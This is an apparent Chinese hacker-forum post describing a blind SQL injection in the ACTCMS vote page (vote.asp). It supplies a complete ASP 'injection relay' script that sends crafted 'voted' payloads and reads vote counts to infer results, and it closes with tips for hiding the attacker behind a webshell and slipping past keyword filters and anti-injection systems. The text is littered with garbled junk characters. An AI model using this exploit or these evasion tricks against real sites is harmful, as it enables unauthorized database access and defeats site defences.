注入中转的高级应用，actcms漏洞以及其他

admin

看到ninty大牛的blog的一篇文章
, r# \: N% u0 L; E, D链接标记[url]http://www.forjj.com/?action=show&id=80[/url]
关于actcms漏洞的利用  by 3x qq:381862589
转载请注明以上
6 c* I# x6 e* Z! o7 G) d漏洞文件：
/plus/vote/vote.asp
代码： 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then   

/ K" M: F7 B% ^3 F4 I/ y2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   

: S0 |' @% j2 {; n# Z# S0 P% M3    response.end   

4    end if   

2 E! w/ @+ f( O. d5    for i=1 to request("voted").count   

2 q& F7 \1 C! f$ M6 y" w6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))   

7    next   

8 v. [8 t/ j' Q+ ]8....   
( k% l1 e. {; w5 l% K$ I
$ V; R. a6 t. d" o' |9response.Redirect "index.asp?id="&id&""   
9 i% _" {! d" H) O% f. l投票结束回跳转回index.asp这个投票结果页面
8 n8 s, Z2 _& @4 b1 J0 G如果投票成功票数加1
            失败票数不变
  H+ `  H3 O0 \* F% e) U! n如图：
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)

2009-12-27 13:20
+ E. h; @7 l8 h
利用这点来注入，由于ninty大牛学java的，但是java运行环境实在是。。。。不说了

0 M# {2 C" B) {1 Z- V. F本帖隐藏的内容需要回复才可以浏览
% R/ c. @- Y' i' Y8 o- H我们用注入中转来实现这个注入具体代码如下：
; c5 I, s& N' `: }' `) _先用寂寞的刺猬大牛的注入中转生成jmget.asp
. X" K5 {; \0 K# ^注入地址：http://localhost/actcms/plus/vote/vote.asp
. N  g2 f, j" y# G3 D注入键值：id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了，不用去判断有什么投票选项
' }1 O! b3 `2 T; l/ s% a7 g- I
然后进行修改变成如下代码： 链接标记预览源代码 链接标记打印链接标记关于01<%

# y& F3 L( G! u02JmdcwName=request("jmdcw")

% V. K8 R) u9 m/ o03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]

7 f5 N9 q2 w4 C6 T; B2 N04JmStr="id=1&voted=-1 or 1="&JmdcwName
/ g* S/ s3 s- C+ u' _0 |1 m
2 H1 v8 v- R0 U' Q  w% p, C7 R05JmStr=URLEncoding(JmStr)

06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"
+ w6 E$ q7 N1 s
07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"
( {# F! X# J! |: x9 V# m4 ]' S
% q% q2 Z/ K% L! i; k! _/ ?08testurl=testurl & "?" & JmStr

( \# t* n9 }5 t! l9 p' H09JMUrl=JMUrl & "?" & JmStr

10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"

. O6 r+ G1 |3 _' o9 q. E8 p, Z11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"

& S& o4 h* \0 [0 m12JmCok=replace(JmCok,chr(32),"%20")  

13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数
; ?7 z: K0 z) N3 w( C! k, s. I
3 F5 l$ |* d2 E0 {0 n: k' X6 |14  
/ n4 I" d& H2 R1 o2 ?0 z2 {- D
15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
3 p% U7 F* B/ `" ]( \$ O4 {
16  
+ v7 m  T7 g4 {6 V" g
- P0 G1 u4 D4 b1 B6 B17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录

18response.write test1&""&test2&""
. F( y: Z8 d8 \/ a# K
19  

20if test1=test2 then '如前后记录相等，表示失败

21  response.write "failed"

3 `- R! H' ?6 B+ v# }, M+ N+ W8 Q22else

1 y2 J, i8 u- Z( p; v% L23  response.write "succeed"

24end if  
4 ]4 w5 Y1 H8 `1 Z# Q# J: _" }
25  
( j0 _* _7 U3 S7 w- z9 b
26response.write "by 3x"

27  
* d; A0 V2 C2 }0 _7 ]
28  

  k: a- b+ a+ I6 a# ~29Function PostData(PostUrl,PostStr,PostCok,PostRef)   

5 B8 Y2 r) R  Z$ e30Dim Http
! P% b: M  J" J9 ^! z: J! i* Y. B
31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
6 p8 I7 x& k9 W) i/ m  X8 j  Q
32With Http
7 m9 D/ N8 I8 |, D2 k
" t3 y; j. p* o* j! e33  
; }. {8 Q5 e3 j8 U
3 F& A6 S% b& ^. p3 \2 l9 y" f34.Open "GET",PostUrl,False

% h3 E3 g. ?1 m; d$ l& R35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"
' x6 I( i; Y9 {4 R) ~  |
) l  u/ ?, U/ _& r& N36.SetRequestHeader "Referer",PostRef

1 n* F0 w5 Y$ L2 S1 I8 ~37.SetRequestHeader "Cookie",PostCok
* d1 s6 v% J0 E: U1 Z' I1 E8 e
% K8 r# e( c; p! v* s" ]! |38.Send ()
/ e  y8 w" b0 p5 ^- E$ n/ z
39PostData = .ResponseBody
1 I4 r) g# Z4 D  G% G3 u1 h
40End With

41Set Http = Nothing
! x# T* {- r  F! k0 D- g
42PostData =bytes2BSTR(PostData)

43End Function

44  

45  

46Function bytes2BSTR(vIn)
- q  j+ T; v( w/ L
- M& L7 o( q" [0 v47Dim strReturn
) O1 |  Y$ F) m, `$ x2 K
48Dim I, ThisCharCode, NextCharCode

49strReturn = ""
  Y6 S5 ^( P- ], e, ~2 [  y
50For I = 1 To LenB(vIn)

% q1 o; P: \' i& D4 r  D4 T51ThisCharCode = AscB(MidB(vIn, I, 1))
9 |& `: R+ c+ _: M8 n
- ^4 C# |6 U$ q52If ThisCharCode < &H80 Then
& B4 J  A- j. R8 {+ @9 w1 `
4 m5 I) Z) b. k+ H53strReturn = strReturn & Chr(ThisCharCode)
# f3 ]! G; _3 G" A6 F/ [$ L. S
54Else
1 ^9 C4 L; f0 M& e
, `+ ~) y( m0 y) ?" F1 u! |55NextCharCode = AscB(MidB(vIn, I + 1, 1))
  A/ D7 I; l' p% o4 o7 s! n5 }
56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
* m" J1 O1 |; A" H1 _- v% s1 U1 Y
3 D4 X1 T1 C1 o& Y; J57I = I + 1

& Y; M8 \$ t/ }$ d* N  ~58End If

, b* F2 x5 q) |9 Z' Q6 J/ y" h59Next
, D& k7 s, g9 k$ c% O
* T* N% {7 z/ g. z# B9 ^60bytes2BSTR = strReturn

61End Function
( d/ Q% \5 q7 M- b
2 {9 b& r3 r" s7 X: B0 O! U62  

& S* p. H% Y4 A( ?8 h; q8 }0 d63Function URLEncoding(vstrin)  
% ^. T8 [7 G: F  L$ y; v$ r: _
! ^8 d/ u/ Q; U  Y3 Q0 w6 e( I64strReturn=""
/ P) V2 o& y3 l( ?( U' k" f
+ X  j% ]6 h5 B2 p( v# p65Dim i
. f( T! c+ D: \9 E- [- Q9 \
) g, Q. q% M8 \( |2 o- k6 ]66For i=1 To Len(vstrin)
4 R- ]( L! M' Q, \; n7 S; O
67ThisChr=Mid(vstrin,i,1)

! X8 a( P" L" ~5 g" L5 i" [& P68if Abs(Asc(ThisChr))< &HFF Then

69strReturn=strReturn & ThisChr

70Else
* [4 B" F- ]$ ?# I) O$ d
71InnerCode=Asc(ThisChr)
0 X* o/ O1 n6 Z) w( o
72If InnerCode<0 Then

1 u! ^/ d, _5 b9 m! L73InnerCode=InnerCode + &H10000
1 H  b0 k4 B9 y( `/ ]' ~$ g
74End If

/ `; H3 O5 Z# r/ P2 q" C75Hight1=(InnerCode And &HFF00) \&HFF
# {$ f" Q, ~; ?6 q" s: w  P. G, Z
+ G& Z; Y2 a% B* q- B; \76Low1=InnerCode And &HFF
2 ~) N9 v& ^3 ]  K* S% Y% D
77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)

78End if

$ B# f. W1 r! y3 b3 Y79Next

80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20

81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符

- E  k! I6 m* b8 x# y; K0 x' u" l82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码

83URLEncoding=strReturn

84End Function

; \( b% n" W5 V' K85  

! Y( L2 s" T0 x86function getSt(body)
4 |) c7 F/ D2 P7 g5 C+ ]; }+ w
8 ?) s4 v8 `9 h3 ~! a) P4 A. Y3 G87  startpot=instr(body,"投票人数：")+len("投票人数：")

) g& D+ T2 y" ]1 ~88  endpot=instr(startpot,body," ")

1 c: ~! j6 D0 W% F3 @5 b$ N89  getSt=mid(body,startpot,endpot-startpot)
2 F/ O% _! W1 ~/ h1 F
& \/ F3 Z8 [! m, _90end function

91%>
5 D+ m4 h) p. [注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
测试下效果：
投票成功：
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)
: \, U9 `' S3 i4 ~0 u
+ v& Y% W3 C4 w% u/ a( h2009-12-27 13:29
- Z: s! {  d1 z) C; {4 G1 ?投票失败
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)
+ R5 t. V6 v+ m) ]- o6 ]
& |$ e, T* L) L  _; G9 [8 n( _2009-12-27 13:29
-------------------------------------------------------------------------------
: ~7 h* u! C1 B! T再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因，明小子等注入工具是多线程的，而这个投票人数的变量没进行锁的机制。。。所以
很抱歉。。。只能用单线程工具去注入。。。。。
$ y( _" R- k. x. h1 x3 r所以失败。。。不好意思。。。
. H/ X, d! |8 x* t2 i# g2 i-------------------------------------------------------------------------------

8 l4 c/ m- s/ J! Y0 F& q注入中转的一些其他应用
, m9 _; [3 Z% Y7 h# ~+ _其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
+ g3 d5 Y% z* o7 I0 N1.普通的get型的注入点如果中转一下，放到我们的webshell上跑，有效的隐藏我们的id
1 [! i/ U% }8 X! J+ z) `/ O2.post注入转成get型的注入，方便我们使用工具来跑
& ~, g; B7 r4 x6 S) g9 \3.在一些cms或者一流拦截系统，过滤了selelct等关键词，这里的过滤指的是replace，我们可以在代码中进行转化，replace(jmstr,"select","sselectelect")，这样我们就可以用工具了，对于一流拦截的突破就replace(jmstr,"%20","%09")
7 B9 G* ^# F. s* h6 a& J9 v4.在某些防注入系统中的突破，上次我遇到一个防注入，大家应该也很熟悉，可以通过id--->%69d来绕过，但是如果是post的呢？我把他中转成get型的，但是注入键值我改成%69d=，成功绕过

) t- F% q1 t7 O& Z; I